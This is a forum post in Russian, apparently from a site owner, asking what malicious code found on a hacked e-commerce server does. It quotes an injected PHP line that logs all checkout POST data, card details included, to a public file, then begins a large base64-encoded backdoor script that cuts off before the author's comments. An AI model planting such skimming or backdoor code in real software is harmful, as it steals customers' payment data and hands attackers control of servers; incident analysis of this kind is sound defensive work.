Деобфускация вредоносного кода: какова цель этого кода?

Так что на этой неделе наш сайт электронной коммерции для малого бизнеса был взломан. Мы заметили, что файлы на живом сервере не синхронизированы с нашим репозиторием SVN. Два файла, связанные с проверкой номеров карт, имели это в конце:

@file_put_contents("/home/*****/public_html/errors/error_log.txt", "{$_SERVER["REMOTE_ADDR"]}, {$_SERVER["REQUEST_URI"]}:\n" . print_r($_POST, 1), FILE_APPEND);

Записывает текущий запрос в файл error_log.txt. Этот код запускается, когда пользователь нажимает кнопку «Подтвердить покупку», поэтому в запросе указана полная информация об оплате. Очевидно, это не хорошо.

Мы вернули файлы и начали расследование. Файл, в котором находилась эта строка, представлял собой файл * .inc и не был общедоступным. Злоумышленник должен был уже иметь доступ к нашей файловой системе, чтобы прочитать наш код, знать, что этот конкретный файл был вызван во время извлечения, и вставить строку в правильном месте.

Сегодня я нашел другой файл, спрятанный в редко затрагиваемом углу сайта. Кажется, что log.php представляет интерфейс для удаленного выполнения кода. Это было сильно запутано. Вот моя попытка деобфусцировать это. Прокрутите мимо массивного блока загадочного кода в кодировке base64, чтобы увидеть мои комментарии.

<?php
$data=base64_decode(str_replace("\n", '', 'QN9EtEFn6E6PdorQgs1ajlfZs1w4xwitRKP/Cp9rQAUzJBBKgKrxCH+2gWHDKdoxT6niRZ0t4v2YSCsa
CG77y97NpDud8Hc/v5vAjRt4EFaJm6/p3/C13hkqKfDm2z9E6Eqtjz659tMlDJyOKsUsskiM5u0qPY5c
KPlFPuUREMAyyqux96xbT3QSIgEaKQf7L9AD7ozUZ1vHZRR3v5YlzYnOgVBKqOGFLuxmRcR1a2zpqjAh
fXvi6Y+kn9XJKiZE3+mqd2LHj+vJmmNTxr8lJmjX2iNMwaefl5a59Er8lyn0MhzYE6vxSbrJRij3Dewa
iBDK/4u8sSdvyJpt1f/8Q5jw6Hw31rBbGJ7pSnBIrRAr/YAUbXNaI6SqCCN7WuxpTd1novt+ItQNHalG
uSCaSIVbw9d3SXqJggd24ck2KYW30sRemy9WMSy3KPRf4X/36n61ARb8Bcl7k6LW+vQKl99GVyKGGawc
POo6y92VH/v9b4qovye4Bbr5YGya3n6CAwTGG0Ha7QABEKCzkhXdtPfgOiJ2KdqeTAshzZ/0rjSIv4P9
O595RWYE25IV6TT/pU1T/QphWA+A9bgZ5vxZEoCJA+EbDMDlBuq9FnpqQjVmrEJfPxToCjQ3bivrre37
1TevbZfJOiIFmL51ahwG9aogfJ5hQP+mq4gBxj3OGbua1IBCVejJrT/7btrGpyROkklg8QUBXw5LUQt+
s1fHlTeHbCq5801Mku5CtEzD6kO1w9pD27BIXr9wdREtz0bnizWZ8dWSWNZGPBDmRGw3vBmboz9DR/zM
l8TZ+0DgWgsJZY21N66HyOzNA4YhXQXLzfUjlsgGsQTwihoQWGEZW77zYvFL2aKXtG/yAeJQSM+jHpA4
k6qaH6brQqGp8/ZAAFoYkjVTmtJVN6Xzbwz5Rh5xtQUmciieb5U352D9b5xUQWqTKlMhKf0/iv1+pYkj
7m1WeUzw2ry9sv89W3LOVwTIKNhTRGRhpveSahyicHLlyQTLQuPG4/6ptOVGoXHi8zYlK6u8MkoSDOjs
YvG2WhLEYoixRRAQ8UwP7GHevClisAoNttySSIQmJ81cKjHS3nCWdnDzo/FovtKyMYMh4sfzUYdOxdHn
TRmP+IFburNoMFXrY98RojleHeWJdK/NVeKb5E/bVpnLNYr5wDf51fcVEaRT0xgeO3tPsFCRiBl1L/lV
Or7t07iCKOA7el7DaMtB2KKb668CoU/xDa27oNOC1tEFvlIIJk23ttsQBnD1LdWWsirSn+J/r6yY1D9A
Yc5QVlzcg8iKdjAMfoALZ2GjNauqaY/4dWW/JR0jgXSzklEGA7SZCR1RcaqJbbs19QjXctWFwX2lIy/n
lx9DOMk0j5KktjETHReHiJV9GaNOr9E0iVhcm12f3SC9Bec97xir1TkpG3DDRuVU+1kBeq0SsyLerou8
yBL4Nj1b/OqnWzHswXh+VIh+Nl9+jF2/0xKB1tEV67FJ8V25lQtWAQ1UIVW6WeTSnB+n8UH0OW4lrP3O
SCbfL/GlRzciw7M3ktHDwz+ORcK/2zGaAdYmEVy4ImoEW7T7+IrXhfyLjq0YREQXCiNwvyHwr4VV7g9J
Jnsa1sKVs6ojnTzDB1yCRq5NSRCWbWnsnngGPrHKnatDFbxRpz7b/hMyqihJyvYbjOKeTqqxwNsp6hlE
/CByoldLSYaJx7WKix31bL2Bjduy8QCqG1j5aWQQ7GY0bmVPWyrMx6AgDLKgIhtGJkRSXrFWLxPA/KTz
5VJmSZoYgwlOCrnLypzMOOoK3CtYAxIyvUijNISjvgupDRYiYz2CI0IDMxR7ge9ank1YWteeQYEVTqRs
BdpS/OYLeTau0hYy0jUmbzJM3apdwnOu0K1O4tpu9jxvwWbzwQycE2uQZoVvLgxxiE2SEOskuOeDpR/n
ew9khevFSUFRnAtf1GinCzLzikpSYVdiv4L2UphouFZSgheNReqADn4TbP+Tbks6aXTsRUojL/3m30ZN
jfihERMRZLwD/XC+jTUQfmYNYlGPLo/MP4XqtKm3npkZ6+hFlXiKgQK6djx4WbYybfXOYj2zaWu27cTa
0rj5EO9KhMkoiVf4q1nrxHPUutflo8qG1hh9GBBDmnAylO24F13TT/UjbTT9GpbMncVEySIM+ZnWZAS8
uRvZO0TKx+Sfw5rpmk8eezjXnRvgtpz/0pzjz6tnYuntWCYNfObqkWVe/R4XJwi4KAsKYT2CazAIxnse
pZI91Wg08DHeFvIitDbAVZmqDEC+2LenxvIXtzFuD41OlawO/ZeqOBtt/ubg4MGL25BP1/NK3/BwPLOZ
N0LOTX9RHY8IATtlr3QrAGiMHpINuWsypiWBxQPnSLdEZg0W0BbdoKc7wQRi3Lv1k7HWYhAdNEkj0rzD
ZtVpWG5M4bvhJj6e1KLff5TUoWp3bEegmJFSTva6U15kYCrEx4oVAg7c5ncTle2hoW1EPQvNVoeEzZwQ
Jqq6dJ8MioCpln+j5s4QxdXrLQjx+tJGfsUA3DyZH1ULGYhE+k2sFcpXXfXm357oUeV4I5wo/tMwdeFm
a4gvCV6Q/9rbBjJBwE9AMcGre1Rr2aYaqDnf7Ks8umK98sgVVdQ7/+TSIIi/f8/076AHwJV8c+CuJQeM
jauGuiV1LDGq/WjdEFkK6/WEzsJPNFxlAcHDtU6iGVrd5+Ld5EcHDKk+/72TcJm28Ogi3MT1G2f2i06o
fxxBBk/zqH1t3sd0eR00hZmzlVY03tyhGItRgEyEUi5a/0P5I5TN51qY0ojfauA+MwhqyP6WbbWrwvcl
lMCsuLXafMnYh2PDFW467NTFv35YifsY8XV4DamLxgUOoRRiqmEVl4yF7RRcApNOb7d1c7oujP+9bWKc
OCn7ig/+9RezXUyKDn+Jk4ni7P68eh4OpYQdYOfYAls2hsVQWIVPyw8uXgYVJoooq1bVGRr0veo9Kynw
XBSYWOY5dOuDMh/EXDdeMy3rupDYYe4eTINGBQOjo14PRUT3iKKD4f6VpF/WoytNS7Jm8vcO88XOnL8u
JqP+4R2nrjohUStpYBWui/3VJOuM+JLdCacwqBP5g4e8iA9xIu8D6EmWPTL38xpYjntOyyKk18puZ148
84Vivc7YquS8qEZ970JO01DqPeD8tuAgw10Qn0hMEoRESmn8mkrG8c3BUBs7ggk8iysl75JVuONz4ufW
5oks7et90pzsZNldeluGjTKkOLPuBj/ikWCAn8XuL1GfqHrcUO4Jq8iT1B+lq6R8qabfubLhqIL/jsSs
b+1X0ht7SJxMVa5JGA7tvtYwILilPDZGTBOgK00vcG4wQjTb1qU4o34KVqn3t1z22IbgYQxVSyguzblZ
XxPZ7k0+BpIZwKAQAkFXkJfJMTP4CYcYUWSviofdaNxupu+HY9MrNjd5ZBcC5Y5JP6RgambpOYV0+o0Q
kT5LExpDmai/xS/obTLsc3RoyOdx3XXMK+35oVzqauR/i7QRIFm5X2a7w+9MO6yT6GmJ1znCuRJnYbNt
NjuFDOMFScC4j6SDiMtFnycHpTZ00dIbE6g8L1K47wW1wG75rfHVv/YZ3XT68LL0jQ9sa1lT3xWrlH0+
V3xs3xrDaSiMyd4R1x7Ii4I1GGkbTVQTVev8dsKz4PbxzSxGj2AIalzZF3Un0lJXK2rDpXbANJZmPsds
9qjwhuOnwHYyvTTFqobGjanGY/D+bUzeEvSnouH0F5g0+jGHsBJrMgMzvpUdpcusTVaeKUpPnnE96chc
rzmB8o2RKYTurvwutMVSG+MkTq2lxYcSxSAi3xWAA2pd6I9iCA0xuZRVPQ7aSM2puDl0TZ7KvyVBdhYM
z6kdUeZ+Cf1kIPsM66/XgcCGdxWogZCJ85lhKYqU7nTz4a48SDEtSC7PECu7g5VxzAkFhXBM5ThlLtg7
yvSyNebVbrTafgDWhtnzFFucfjpxD6ZllPSnprKUW/lyiMa+TYyKPJibsX7+xfg4GrH4hQacGgiop6DJ
zhst3ZZKdSFnE+V7SRHMptjMgoIt/9AL42q08OYEjrFJ+SNYoXewhupWIeDZqy3rsNPCv5DwvzojEFlJ
76uEfbUNIcYG1vK6+zJow68USBkVmQVUkoRwALP3W3aKrmFx4iD+4jKo8VeGk27BEHTrdjunGEF34ld/
3lyQ2PJm1Xlrsrk9rIHhux3MxBrw63mS9bYBisesA5Y4C/L3q4q8bwnAYCb7bIjFZ9/UXfh88VHj738J
M6/+EThaQVtF4R8A7g/OQ0Vui6aOotPBXcJyxTvWuFuZBXv0sHPQXWtz575xSxCMrg6LKvxnZ1iou9ex
8jBv2gyupdS35x2ad5zg48Wvc4JJiy8HLR7u2ikKenpdYMy0e1Nf6QBVgyGIbBUH6qPu/cWwGFOGF7By
fQJDFPw06xbkIwQJJ51pOOMWVkIumDr5JOMUgZFGl9iwUslBmTME9uEJmWKvWCn94VRKs4ZPsevVTtrd
lncA1WQUwkuxNYySV/yheKkVVPeZfE1XZ0y6xl8CWXPsrmJ8/e+zcz3MpcqjoLMqFdV6v9sIPRruv5G0
pzVSvCPPQV6mUL//kza/4GgikDoDiovq5yyzdNwlJOx4yJbhXOVwAnFedpc/16MOulJVzupAvHQunouD
xaJXTXf92PWjzad/GL76GC44VL9RQ0410oVP1mYq9SdYiDuC3OAXvVAyedrqJp3zBrJn2DgjuoTe8rmJ
kIH380AuOtPW+sHWLd4/55xXBU3itLx6ia0E5mEpeWDSwywzFWIplbTYoSfrNg30yrfT9t1ISZM8GjFp
FwzXvBJxjau8a0dAVGnlqE6B3TxsTpYEHBmE9qV1HNPbeRz9PcWwhRq2pMWIRtoN1MjAamigqHvqq3yv
et5fgcWTQ5d/7qoLqJCAm1pQ3gG9LpGD5osofNo8Vx+/Lo96NjIOFRVzgovw+KYI4GNCNgvkzl5ZokHl
xtXaCwIFqEtqJNRrhY8eboWLOrMUlHfXzhOpF/UlMD+3Vubq4ijIKm3IYmKegGymPNc7PpMW/rIDS3gP
mMTuUQWin7bOgtVV6fY8dJukwuYYhFIflLswezDEzwzLb6cMM7dufgAPWbjs+fAcq5A9sNfmJ1px5V/M
Ntc3f0328c62peDBRTyjM+eeBtquCHjuD4Ap8AyTPQT0L88zdhHH2YxOVbNm/fsM7H32bTgV1BA1RG8j
frPHYy/JG1P2wZDQqUlTPC3Aoy1/twPoQii7+kdcJs5B2gt1EGAAor7I+X26DfWcog0DRkOsM8+pJyjQ
2KuWsevubkgiULeOFMNc12YUQPicl+g706wYr/nun8GSp6PL40nDNeZ9RkaZ57eiUl1S0tzq+3WbaJPJ
B1M98rIVQDSa6ICh6yA1aggs0kBc6IPzi/ukfghYgTBN5uoFq3CMRVa8yIuv4/f+X+eunmja9/tWYaqI
bvHLtRfusEH+hvm9eHn5WPr6qmcUgBgJljfRON9ujxOewtOoKARuu34RAEAP+fs6YINRxDoVyMfnTdnr
SHrq6RSWgtpQ7i5twxxt3M9VySAHks3/UM+hGv453zait4m81z+EKCfLsnjwemupD59iEA1P/53WmHB+
gHMgsES6HgBnEQHeOpy0zZHYMMhv1ncYqyamew4XKQp6NUAItBF8TOqELZsJ+0ESDEX9IkHJ4e3d5EIR
ls+JhZZ3EItBy/mMRPwuOcc9L45k/y5SYpKXikzhQ3hgTqcdr/i/TphEwiYT792RzhTxWK4WIjlTwt3P
sjzFLCVtE34yrwH+WBTgI+ufzq8VfaKZCjcAN1tRFlHyRQKt5oU4UvE7coK+82GqJHcJNxFFeUOUlnrg
B+ZG/LVGuFG630gkZXE479mxO5gthpvpeuDkqvfeo/QRJwyAYn7L8kQVV9sWaDSBT1Kn5QxaffsaD57f
SQl8Fh5i1bu5mQMnWjvdtID7XY50Xqcf4gmDCcxTZO8GfIe03g51SLxbZWO7EI4Bd9de+QWP5YLhLRkM
Q2lDZHZpYh2y3b/9vk7m/BL9IaK7NJg7noOhTjLdsqqOVt9UVtX3Xj8plRhgz5+9uRkMerauhU6x7uXF
WY+UdZZxfG9R3U40UU/hx834SDfcOOmROCT+5Tm/cLBw7vqEanQkKCpj75+fPL8K/9xSubjP4W4dzxCG
tJiJnoJjYoJXR5ly1CNrEhuzwZINF2GfIHIiZOJWcIo2AhdoNwPq4rYB3mPI+2hsJLP6aNsFdFIqlLVN
CXEwLVCJ+WVNIkQwtjdxajDlnXE1EGy6mq0DSVRBlkhRmMkRBjz4GzEb3V/KOY/q/KCLgX5aeLkUI2hV
W7/7Xc28tb15/WSt1vIsgCmF8GiPTt1RYhlW6xj3Stw87uD83PGN+kJ0I3q3bGXvYnMF4l17pgL9MHje
zx3NFENKeONXREu9hlAQLz3fnSbsarcQUk7E0X2C8O9HzK5qPjxX+5vyg4geW0eBBtOpJhT1shH9OnT3
sCVQxz42RU8+Qt/Q9sDjSfIJgJp3PT7BJYo5Wy87N8wUqmGMnUhGcQzTe25egfIb7fyGvnRiEnG04Bnp
g9Ni4p+rMxNmOOsMazyAvcFh+oTVmxVjzpHZB3H5PEOaEWIWMCE1dN/un8WTK2RucgGarq4IFsKZCkAf
PqGcI8pgQcVIqv91HQR9/T+VoIftRMIsDf0Q8UkHByO6aWXAhIQaSMee3rr3AKMJx/RJx3zfHf1JK7Ul
Wrh2+gijUtdP01RCSRo1nA7Mu1/GXUTER7M2i4Fr5KxByEpHZSSq1yYzVuKkotn5KI45SI0sTiaBAcxS
dtBUwbyPNrEHpDivoF4vTfv64ljJTQCNNaPjzcrjcxH5kLRQDFaBBZ1u70h5m40eNY/1b+2TPdjUKUhW
NNu6jPQJbSuo1/zXPP2MWRzkyL0WiS/CsOP5oUV99EKP5gRewzs6/DWt6GgPDN5zD1XGN86wGM/tvZwH
wHDVneZuQ2wLw5vySCNMXP75/Rv4QIYgz4UaqpoOpeiAGS3CGpk/WhZYSITIY5OgiHyb1LF+fIfb/9gv
0WfV5vsPNBiX5qyBgc8BTLDfMszNwEodhfpUW7JJ0epN1zbpMuOeFAhH3UsQnsYt7Dr03c/66Nc0c2EG
v99IA8Etrx1NfrwPifvL/3M008JXaDnCtUpWV1LBxobyy1RHxTDOq3y2Hsols262bmrSHtGPyFWtU5vM
mZo1A2FJDHmnI1jDXnCR7a7Hw2Xh2xB23cTeXXmhMcNAUs8J6V0lfyZIz00+Sn8QVPv15F/L0diqS1CL
Sm2h46zf9gYjFs9cc1bPZVU/rx9G0i392GJfnEwzqST2vP0eAEQKSOWEqoc7WCmGZyiZ/MhlgXJ6EIfW
0hhou5dToSm1x8yhZpRrWfQYXKyDgeKsaoLU4zJcgiUB/rPL6drWHweXxbOC2L+DDp9xNPMoi8CnPHvS
vMCHZ7D5dKVUJzeYQYhRDyYomzjPYGtz/zoGak6U1kcUDace/zxBDRfgMIk2WJsz+gh2ktmL5Li4lsgh
iFGJBPMu2DlsmKenH7sqCr6D1D7hhLB5fmDrWOT2gHRMP8OCuyAHeyIXj9/6uREfEsr97F6Hlax/HFBO
opQL0MOlG2g6qELV5r3PEEqZgMbtWruGpDsFjvdjeVLMfWk0i+xe4qX3e/HjGySO3bX5DQa9s8qDumQd
RduV4yoTswmBiCqN72+jcSc/hzpKDS3kEuS5JBWPGMPUz5/zk1hX1G8JehPCB5J0Xwp9+hkZk4Zjkt60
FZ/TCU0DTrZjsqhOeo9BQveyHxqWHUPaKnzDOMh6Z2UDW2S1CrEr7IqKn4O4P+4cCzY8yleWB+CmPBaT
MKs8TR05hcOOoUzBzQlQRHU8kHkObp5irr77l8101cShWeLrxzVxd82IwvB/7do5Cj6UG9OkPPVgOhNl
w9beUWR4aSoEnDU1/4OJsVWtFvDewXqMIvGFA2xr4Ukm13pd7q793hmmnHGKGD0qGqd3A0Zy5pVAFTPD
jrf0zvZvCH8wechJHNMiIfr0ZwTW1bJvF4D0RMFt5m7VIlt2TRsonEtpHS8k6vdpKaG2lGu+hCxanvO9
Dcu6cq8qsNu8SFcmKGFKceuu4pNH4SbaT3gdZDn6Hyn6xMue0pZhxnpx41i2irrtTVjxa+BBO3yLyVt/
ftdXyb2Q9NS3hZ4CoTmEsBZa1Kk6EHPkSkV4wA3yzNhNfoBEwcxdSI7tgc2Ot0YG90Fr/txHETkP6Hxy
qJc+2ealGzn08vn7/pIlKDwGxHbbbNGw43t9QKlukXiEkgUCv+WQ0LFaosFSNALnD0/xF46z6GGc3l3c
SSPKkYyaC4OMQiQjlsScvFoaNAGgYfRLsX5ExQxZsNGVAEG9EQPqP9+Zb1h3nit1hNeSu4r3LrF/V56K
sSFdJNoCtxa2FcjzvxoLhn49OmFhP4XID3hhnrEuRs5lsYekDqNHMd1tkpX7lw9K3YUcoVRtXxjgxxo9
vtIg6mJuTAPSiG6ZMZrbHE9MgRdRuHAaWVDBh30hn+wrEqBVilu782F29Gux7+dY8zshFbHAHkh35bre
45MQ73NdS0uuOQXuHrlPL9LlCnLw1imLpyCA9FNabdZwhX7D6ohsKz/bLuKOVxr2IjDY+9yfdJh6mCZL
KZohXXCujfJge249vBlzZNEilkAlNPqcY6Ean9DrfOQp641F2f7CcuOOA83qVFcWsLpTzC8LxWZIZ7GX
i87wAElWhpeRtcQikxT6c89tCa4iAAzjSTtxKlIEqtgqotGYZetr8GxW/9v84TAOzTy4Wzpm8peQBcI3
wbtHPoP8eRy3/REm/ntaPwIRX9EI5E0DgMPhc29X5LEYxh95A1xdKuIno189WvjEoVGNucTa6PmLAwQ/
VsVawwHjrNseLg7YtbP3x5c9m9NGD3iwJQc7WfoXhQj4elwWyjP9dlBY7PqrMqdSq3FklayZCcRt2Xge
y0CqTdmYKY1ZrbECVxCRdAboJD7wM0Xsp41Wwwaq3tbX0dcEwVRQLLzEdpLPvOeddzxMGGwGAvWRwXmI
KPpxXzYJazWvc2FLBtjz0oUpBUQRKfeCw1T5JNLH0Dmula9qgC2uFvitNQLti8fxJgrzCT31FP7b2VUl
skN1x1nW0bzlpbRuHDDLIok0O49qcktdi01Xm/BKGOxUGRxahy0yQrBa29xg6tTytovebL8rH7NsGZBB
fOOHzJaS6Cp7V3haQjzon7Kzk8wUbyMKMML4X0doWVUYcK0qasGfKsksU5fdJf1MlMMtAiCfehqmBbgp
dCvkWLHuRofM8SL0fsGpB332EpP6g281mhJex9IrGnIcsXvyXFEYhkK8DxG4/A2233DOY+vw2tpdfWx4
1ljjv3TcHU8nwgSZ+wU3dxJI9teH5n6qqO1+4i5jnBJYxc24rs//2LkNcnkQdPeqWNMaWBFVFVAJBzyv
dODH5XvwwRNldGZ8Emq5GtSk0DGpu1IJX0X7iO/EnStHeCjiMTfaqqugd8Ai4Cl8jAbzVooi6Y55tLXa
JyLPx+Or5JbC9Vwi7/fsweAm6nVJeRA1PJKw+Ae+OTgOUbUCWzFmOHQejeH1016MiH28tbglEPA3uwcZ
bcoQA0DBxNpmqHMPdi1fBSExi33g6T6PZPZl8Bm4FNE0uVvYqanXWKcROpMYbekDvuFp3bEggJRjCVFK
pAdzD9OF83S9zR5hc0or4QQtztBUrV3Q4EWW509fPSYijaJmU1s7h/xgY7QvZK8gv6pr14XpCaX+nffH
+NNvRtpgsfNqHsoqAXoY36zAQ43A2d9kgWEJu8AymSTVsym/G7d1rjXLI9A71pK3wgxAoZ1Wjv5IUJsE
5q+GQ++7XKUWuUQ5Mlm66BG/P6HPPFfvuy8OMyXtTzaAHpzIvK4iZ0uNzu1qKLJQgJZLjiZwtjwMZNvX
gqDQmAzkpILc8TKTiGFZo/1oNIZ7Tl5SsMFFHAM4gjiBMvDZ1nlGzoBigV7mQ1TwpYPWtbrRK1MekK91
09bf7JfGRKgM7lBENt7F8uGp0qbMxELWfbva9XMPVDYT53Lz5c89dgDyPE7MAoLOCK+y4HlLyjcW9bG+
gPNFVg3LQ+rUr6Zf8p7sAE+7MptQj078F7dw1mtJjjoL+g6HT+WHDSSSERLOeQNpCa7JlGjuRYeGiP7g
i1rPlr6hr7e3RE/bNPsqfYQDJjdkdQBobXrvXChgqfcBJwy8ilp6uT0P/+bQRRkTfyomCipJNpGUAVbD
yRRZ3AxHQNTAnySApu1lelTQOoCQ716w6l8mshoXfmHxouXgKOMImSdVlSyg9zNlgIW7XRVuzc/EAiAN
MjwnZ65OdxFTkyJl69RlwgsLg49MydCc20Ln8leezUxJ66fqRYY6caQWqDqvefF8Qghwpje3l+OqanY+
i+kv5lFHP9S+f7xYYk/sKZoJzo/vd8q0LITZRfZxirpmDxyYJzXQisYksLYmK4rW1t9F/OKFnOrIY+aN
9POktqbhbB9L+f+8p1fZ9D/IvVFH3r3Gi2FvmjhnWz8osK3BofeXHMNO/paS9yL5/BN0XuC1COdQ/c/o
kt6xnypPCIPM2ciURg4WTfBZVLFUHEi0Ld8RD9+RqGzFmvVqGzGe16Owc3B5iMaiRV2aVsf+H2CvsyKJ
YMXNcY/rgxesbokNILclUZzWXOnfu/uG/JEQeOcWIaNkal3kJvt2nw+dyU9T+RJy5XjJFM6wkYHvPRvb
VnZO5iHIx/1BRq6NR8q+I3fw6xZDtBOrF79XIQdhT3C5bj/eFulQBNoOxr7BU4+eowF/OxV17NATLtsC
Qom9Vn5w3gWKV3Xdxc2BTDLLfaxgDwK2IHvuRf+i602PueB9jR583t2sftOQmDjRJDkeaW0hqsaGyiqR
Bat980Bs40t/IaHErfPHDsLCc/xRSLimgGjbd1jdc4LXEss/dycCsR5aPwM3eTvcDaFiMdC59Dv5UKGO
dxnyyZqmPc2+Egr1pCPVUYSR3EWBAWglcI2Ufs0KIZyl7xMtdh8Cc9xBhKI9zUnEu7uuZzJfVUyVzwPD
gRPgl8b6cowvCGHVcuEKHHF7DNI9V6Kqf1SLAfE4EQkyNEHgOHCSg7rd29CFvS5m6ofJwCLqqc3MEe5N
7H5mru2ZjOFHZaoWwiuZf2vlF0XadiR8r4UdflC9/yflMyjohvz3VocIQ1dNCnkRYretRWUqzXGk7zmm
iEp66L6T1OKX4blqyDjzGyMv8/tQ98/3ljXC19ABZmrOz2XrPKlfV2Nol7s1p88lD8Q7TplZqmVZOBe2
pBbG9ss+McO468DnEStcMiZl/UmERC6iqeu380mV1cGoF3ItxX0bfGhOv5gSqbGJ6pskKOzgacGGmdGs
pXZHrpvVdGfRpBEOGVstqg0wyEXNWQrKykJbwToluw52DkL0n3sgonad4xMyO4UyVp/SpKkc6QXpTFpz
FQ5kI+p+6XlWPdNmCjr3b6ymCd8in1MVEQdB2qx8NccCvKx71YwFHFeEr/3W+hGu2mVCiiGsuw07mP67
rlqc5RVXl8mb9Mv1NuCyrnTVHlIYAv3h0nn74EpR7LV/++gG9cl/VXnQJYrGuPiC2udgYCzBDwKProgA
ir/wJSwUMEevWbYdvgoaxb2tyTzUJ/QCoyf1wA7X8XPekR9zjyPCIYJEg8hXiDiG9owsj8K/JE6JUo4V
tKsdyX9t1Djj3ZUp2hQS2UuTJo3RPk0ic8J73NjAwm0F0jX8NLyYJyZD0jdcCG1nPEsbF3U35FKllVN/
zAO0eXqAVfLV5wrTeV32SJVfbuNITzZtdWDH24132HLBWzD3rlRLmdIEymTRHQqV2BJTQ5MKKe8I6EPi
gURBqd1UEAL7m16eTeoyxHAfR90YgWse8gkpeKyAwagNsDe3saHTpM/X6EgVgIIJHZF+22PRMDNwc4T1
tzmuWsJiUjCo8PZybeGG+Dt30B4F8ZCv/6QtzVUF75WeDUyYYJRCNgKQ2rlzeob+6YneZFjSRG9qY/pW
ZzB+K0VKn//BjPw1cCXs9UzWFZZPaEmmmxbjgH/N/dTbYZ8hK1Oqvr1q4e5m+uEq0yxuNL1xnVUAz0QG
jpythZ6hWoTjFutaOmIfYjoL/D94ssxU7rZ+nqwNy8IN7xkGPchF1e3neNhpNUt3jVzL88s820tETTBd
JuraZ3OK3dpqjz0NwzOjobHB1woLBtQzJf+aYWYvnNJa+VmmKDcnIEEB+ij17Tg+7bPV79X3XW4DK5a9
pcl8qFzBsRm0+Yu5wHV7QnBv5z+NCUsvQ1TROTtfrSSB76R8qnC0dk/VGtl/XGumifil3UCLdHw/eInf
cajb9lZ8zp2ZVzIFo1ODfrYHbVWivBihW4IVxF9lmUxqg9WfPM3o33iUhqU4UE8xy5qUP3Tffz78IePP
CZUQU5sTz8XXRrn0LQwQNVzqM4HcVaV8BS4cXiYDWqJjFYH3iyxinX5pnhmFkdwrz37kEXdJ7OHxY0Hw
vtmoBH/H415DlPwIsK4t6rItKGxSFQthKhKe/MtiZJqnCerZ5Xm4aWdux2B6UToGeaFwRZQgnz9Ca0oH
+f6fKZSo/tt/GqDxoH1JCmLse0nUnBIbU2Q/1fAZbnGgmKWmVBZaanFUoef3BL1CUcBU56wQml7sszhz
t/DLHnsH+BwdaE2DAW9Fer6ikCeJuisnMhMk6Rr2fQsgfyNhdfuOEZ2Lxv3hmrL9Q1VylSW0FJQ3H8Yw
x56gb+6VlK64cM/n9znEvziM9XRowWL8KmJy24niALIMM3KRjIxgYGsP87s3J5T9+KHGR/T5Oye98E9R
HzMrAS0qRvjfXoI7kkkeNNSWVSuFTdJJz/4cRuFWGDCTwcQoSK4uqEgmww2tR6PtMSbP0trWSA3Sn1ut
bCfNXWf2RDq2RTJDiMMs/Yqt08SL1nhOSsHi4NGOU5vumQUeNWQgULws2y7hIBZF19SwFG3607N8M75P
VLy0xxuxqExYVM/rQgB/tHo+TzafY/lKuUTUlVRfnadpZLPwlc2XBcTYcKAB4Xk3+hzEOvhPfeAMsbOu
iZW6H3bJjcCckXAFk9/DgzZG6f0cDfSMnw7ppxX6q0smy//luURLz2c7u0ItYgcbQz+yRt8MUihc0rXy
u9Ib+VC8O4uck6zQ4uhu2hXSyLD5TxlJjpOSEpj7+HPJB6ytvw/kINHnCuqTDwojc9WzQvQNgk05qRoQ
F+zTP6fGb7nMKp1QjjoRGuy27dih9+H3QYtADp7eDISM4c8w5yldvMYsJuRv1mpVKdFBBrHIY0foTDGI
TI20Q9VVP+LYCRsqBshtDgTGfypPoFzl5NU0qFkr3QFjcZ8iYF6plLOwIwWSnY5G+AGly4KhDJuEtUjw
QnAF+2VlwBF/FyeM39zcxeJBhRSPTv0jBbvZRRVL9O7QunJnvHRT+JwAhY0LX9pdlGlPzzOF9kguMrIG
VewqFFrBHMOBaDkd0+22y55n/r3vMX7yov4a+qETJVZw4W6IZCiSPoDqh3uJDh1eSJNp32xeOgBHHJAw
lknB+QoRCVjwpUbahJhXOvXgwMOKikoiKXdyGlSqB6GvJJzLQNUbMIzza4Ac9PZLp1lhIzC7n+GuTS+W
nfSpZQ9rerZeqDuoNYuva+djXVPGdNtfJMG04edq42ps9whSoV1kzQ7+jKiYgUNU5dAF862xfB0yo07f
Z/jI3yRmRCLfE2qjxBwT5DuvjK7A8T4JO+ju/JsrEZMdpbQePsPqGiTkAfzcwKK2Q8+NSSBZ9sES7jYe
XX/DlCxF6+IfskXtG1ehnCqaOM/VNJPa+TT95ic2iRNK21QZDOe5976kWXYb2ne7gaTl4A96wQk6V+0+
WPq7n3mcFLN1G3AGf0TXz16pspLw2UzoCcaOoF+El3SXnA6Bz2kOvQj/mREhwMffEBaqmY6VZD0V0PQq
XVvZRDBQ76KcYv2JMsrYG+CffocIURXAI9xQ3bIZoTOjI+JjwZdwVIuxsBOOwlrFkSKK0gKEwXcn19j3
ygNIj3F+7RnU0FS0GIqfvuI3sTqytZb/Fnb3bckzOojU8CIsYgCGNbsudf+qK1dQ+TgAcukP+NfiWdcv
IrdVFHofOltzyfazvdDkBP1xJRsVhEi9UBuXCrwP3VQfq/HojEjfvf5bBmQO9bG1D6p8ltXcifaNaZgW
7Vjce4dokdyALYWSqBwGs5rR4YZ/9jvGbLdZEgkStjPXAu7Flc6ZBp5/NG0H/Pt0xmI+gzm3wMHh/hvr
4p1ABImPEBsFJo9Tlv+gnI7L96pRX9geFAEsXcIsf93wb0eY48ZY35kKoTEXHLtTwXj7zBzjMwBrpuPD
Hpbx/9AB4n6jhqjboosiw4SEdz7LPkbKOcsRWbeAxra01J8cn1eOb1Q42b8oyZ3F9nEHFJElzjs/CSG4
3XiUSlYzYbHg31/c5GGbz2psgOL1oezw1qsJx/O9OlPE2zVObIJ2jLhI247Lzge7yy0nYe4lRMRPYWds
WCUvQ48eqzm6+cpbRpN6eUR5dH54b0nw5tKY2XkU3dTpL3WASJkPX2xyHJB4FkDiTZ/363pgNhuu9zrn
gCQ5wanh6RE7CS2YoZrJOBqY9Auazz5D9++6svxXvPuYEmhFjbcg2qVAWA4z5HCIVYjmRGp9oCXq1iJx
X7T9kxyNzdeISdNz9vnvohfJscDX5jkAf2ZH20n/0YqSlps3CWSfJZi9G5//XsUucGmRbJUjyEyOxx/a
ysDyI54LewLxjAtuinXrfzLYUS7YUMCGJCfCfjwo+zSXLJxeFA/ufXhUWBOBRtM4bRLpZ+6bnzuWnYa1
vPbY2hrvdzTNDb9nbyFeDwhZGN/2mmdPOhP/UWe/2sMCdz3++NH8yGQ2K1Kj0+Y9laq5G+D18402CBh2
